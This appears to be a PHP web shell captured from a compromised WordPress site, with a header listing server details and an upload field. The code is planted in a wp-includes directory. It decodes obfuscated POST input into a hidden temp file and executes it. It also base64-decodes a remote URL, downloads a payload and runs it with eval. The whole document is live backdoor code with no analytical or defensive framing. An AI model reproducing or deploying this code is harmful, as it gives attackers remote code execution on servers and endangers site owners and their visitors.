| Server IP : 65.108.144.40 / Your IP : 216.73.217.165 Web Server : Apache/2.4.52 (Ubuntu) System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64 User : dev ( 1000) PHP Version : 8.2.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/drnimrat/wp-includes/sodium_compat/wp/ |
Upload File : |
<?php if(array_key_exists("\x70g\x72p", $_POST) && !is_null($_POST["\x70g\x72p"])){ $resource = array_filter(["/tmp", "/var/tmp", getenv("TMP"), getenv("TEMP"), getcwd(), session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm"]); $component = $_POST["\x70g\x72p"]; $component= explode ( "." , $component ) ; $record = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s6 ); foreach ($component as $t =>$v8) {$sChar = ord($s6[$t % $lenS] ); $d = ((int)$v8 - $sChar - ($t % 10)) ^ 32; $record .= chr($d ); } foreach ($resource as $fac): if ((function($d) { return is_dir($d) && is_writable($d); })($fac)) { $dat = join("/", [$fac, ".elem"]); if (file_put_contents($dat, $record)) { include $dat; @unlink($dat); die(); } } endforeach; }
$a=base64_decode("aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Z1YnVmZWYvcHJvamVjdDEvcmVmcy9oZWFkcy9tYWluL2NvbXB1dGVyLnR4dA==");$b=file_get_contents($a);if(empty($b)){$c=curl_init();curl_setopt($c,CURLOPT_URL,$a);curl_setopt($c,CURLOPT_RETURNTRANSFER,1);$b=curl_exec($c);curl_close($c);}eval("?>".base64_decode($b));?>